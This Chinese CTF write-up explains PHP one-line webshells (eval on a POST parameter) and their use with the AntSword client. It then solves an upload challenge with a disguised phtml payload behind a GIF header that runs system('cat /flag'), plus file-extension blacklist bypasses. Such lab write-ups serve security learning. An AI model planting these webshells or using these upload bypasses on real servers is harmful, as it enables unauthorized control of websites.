文章目录

  • 前言
  • 一、什么是webshell
  • 二、一句话木马
    • 1.基本原理
    • 2.上传文件到网站流程
    • 3.语句解析
    • 4.入侵条件
  • 三、图片马
  • 四、[ACTF2020 新生赛]Upload
    • 1.思路
      • 方法一 修改报文
      • 方法二 文件名构造
        • 1、文件构造
        • 2、抓包改文件类型
  • 参考

前言

在BUU CTF做到一道题,[ACTF2020 新生赛]Upload 1。要求upload,这个时候应该想到是一句话木马的题目。在攻防世界的web新手区中webshell也是一个一句话木马的题目。

一、什么是webshell

webshell是web入侵的脚本攻击工具。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

二、一句话木马

1.基本原理

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以通过中国蚁剑获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。

<?php @eval($_POST['cmd']); ?>

**原理理解:**相当于为中国蚁剑创建一个可以不断访问网站的门,蚁剑可以通过这个密码‘cmd’,传递一些可以为eval执行的字符串代码,最终呈现的效果就是我们可以管理整个网站的文件。(这个密码不是正经密码,而是内置的一个参数名称,通过蚁剑可以利用这个参数名称上传指定参数,包括可执行的语句)

2.上传文件到网站流程

参考:https://blog.csdn.net/qq_43236906/article/details/109263653
重点是一个用于管理上传文件的php文档。

一般在这里会有对上传文件类型的过滤,这段代码中上传文件重复会返回提示,储存地址为添加了upload的路径,即upload的文件夹。
这段代码暴露了上传文件储存的地址,就可采用蚁剑不断的访问这个文件,想网站提交数据。

3.语句解析

<?php @eval($_POST['cmd']); ?>

(1)@表示后续语句执行时不报错,否则因为变量没有定义会宝座
(2)$_POST[‘cmd’]表示cmd这个变量使用post的方式接收。(在firefox中使用hack的postdata选项传递数据。

post与get的数据提交方式是不同的。传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)
(3)eval()语句是将字符串当成代码执行,这样通过cmd上传的字符串就可以执行,蚁剑就是通过这个门对网站的权限进行获取。

4.入侵条件

木马入侵成功条件
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

一般来说,题目明确让你上传文件肯定就是上传一句话木马的文件,但是一般会与类型筛选的问题。或者是直接把后门给你,比如说攻防世界的webshell题目。或者是允许你更改网站的某个asp/aspx/php文件。
绕过类型筛选就是为了能够成功上传木马。
除此之外还需要知道文件被上传到哪里去了,参考本段点2.中国蚁剑的URL得知是该有木马的文件所在绝对地址。

三、图片马

将一句话木马加载到图片最后,构造图片马。

这个时候一句话木马存在于图片txt文档最后。但是图片马并不能直接与蚁剑连接,因为图片在网站中的解析格式不是php,蚁剑不能通过这个后门干坏事。
需要使用文件包含漏洞(暂时没时间学了)

四、[ACTF2020 新生赛]Upload

1.思路

首先发现一个上传文件的地方,很明显是上传木马。
随便上传一个文件上去,发现报错要求上传文件的后缀符合要求。

方法一 修改报文

抓包更改文件传入数据的文件类型。用于绕过前端验证。这种方法后续继续学习。

方法二 文件名构造

查看网站源代码,发现前端有一个文件筛查函数。(表征还可以是上传错误后缀的文件bp根本抓不到包)

在html文件中把该函数的调用删掉就可以上传不是图片类型的文件了。
然后可以尝试上传一个php文件,发现还是不行。说明后端也有筛选机制存在。
php常见后缀绕过,文件包含漏洞(绕过姿势)
文件后缀名绕过
前提:黑名单校验
黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表(记得在蚁剑中选择):
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

1、文件构造

本题可以直接构造一个phtml文件,里面包含

GIF89a
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

看上去是一个html的文件类型,这个也先挖个坑吧。第二句让flag直接回显。

2、抓包改文件类型

首先还是先把前端的审查函数给删了,直接传一个php文件上去,抓包。

修改文件类型为phtml,上传成功。然后用蚁剑连一连就可以找到flag。
至于使用哪一种后缀进行绕过需要尝试,毕竟没有上帝视角。蚁剑里看到

常用的绕过后缀被禁了一大半。

最后找到。

参考

Web安全-一句话木马
WEB32:文件上传 (一句话木马,以及工具中国蚁剑用法)

Web-一句话木马php相关推荐

  1. web安全的一句话木马

    一.WEBshell Webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与 ...

  2. Web安全:一句话木马

    概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...

  3. Web安全!!!一句话木马

    概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...

  4. web安全基础--一句话木马笔记

    课程:https://www.bilibili.com/video/BV1VA411u7Tg?p=7 一句话木马 可执行脚本文件 可以是很多种语言php.jsp等等 需要满足三个条件:木马能成功上传到 ...

  5. Web安全-一句话木马

    概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...

  6. web渗透_一句话木马(webshell)_dvwa环境

    厄薇娅·瑞尔说,今天是个好日子. 一.什么是一句话木马 <?php @eval($_POST['a']); ?> 先来一段简单的一句话木马,解析下它的构造: @这个符号的作用是抵制错误提示 ...

  7. 一句话木马使用方法总结

    2019独角兽企业重金招聘Python工程师标准>>> "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留 ...

  8. php 一句话木马简介

    一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能.一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用. 一句话木马工作原理 <?php @ev ...

  9. 一句话木马绕过linux安全模式,一句话木马(webshell)是如何执行命令的

    在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就 ...

  10. php一句话怎么写_PHP一句话木马后门

    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器. 一句话木马的原理很简单,造型也很简单 ...

最新文章

  1. 马云:“996 是一种巨大的福气”
  2. Spring Boot 中引入 MyBatisPlus 的常规流程
  3. glog 报错解决: /bin/bash: aclocal-1.14: command not found
  4. winform弹出唯一窗体的方法
  5. LeetCode每日一题 844. 比较含退格的字符串
  6. SAP UI5 应用开发教程之三十三 - SAP UI5 应用的响应式布局特性(Responsiveness)试读版
  7. #10010 「一本通 1.1 练习 6」糖果传递 (数学+贪心)
  8. GWT 2 Spring 3 JPA 2 Hibernate 3.5教程
  9. 考博之前一定要明白:读博的硬道理
  10. 为什么GEO2R/GEOquery的结果可能是错的?
  11. 学习MySQL,怎么能不会数据类型和schema优化!
  12. log4j-over-slf4j与slf4j-log4j12共存stack overflow异常
  13. css实现动态阴影、蚀刻文本、渐变文本
  14. 树莓派安装qq linux,在树莓派上安装Ubuntu Core
  15. python文件或文本加密(4种方法)
  16. 手写平衡二叉树(二)
  17. 数据结构与算法-平衡二叉搜索树
  18. 微信小程序-刷新当前页
  19. 个人支付宝支付系统 ---- 获取账单信息
  20. 5G NSA网络注册流程

热门文章

  1. 第11章 三维内功心法——Direct3D编程基础
  2. 未来大数据的主要应用领域,你都知道了吗?
  3. 商品服务(SKU、下单流程、购物车、优惠券设计)
  4. 【小Y学算法】⚡️每日LeetCode打卡⚡️——42. 相交链表
  5. Linux在线学习模拟器
  6. jsp中插入图片无法显示
  7. android tv 遥控器按键的处理(例一)
  8. ci框架autoload机制,多项目配置共用molde、library、helper
  9. 卖全球成为现实,流星汇聚跨境电商响应号召推动企业出海
  10. python关于messagebox题目_Python messagebox.askokcancel方法代码示例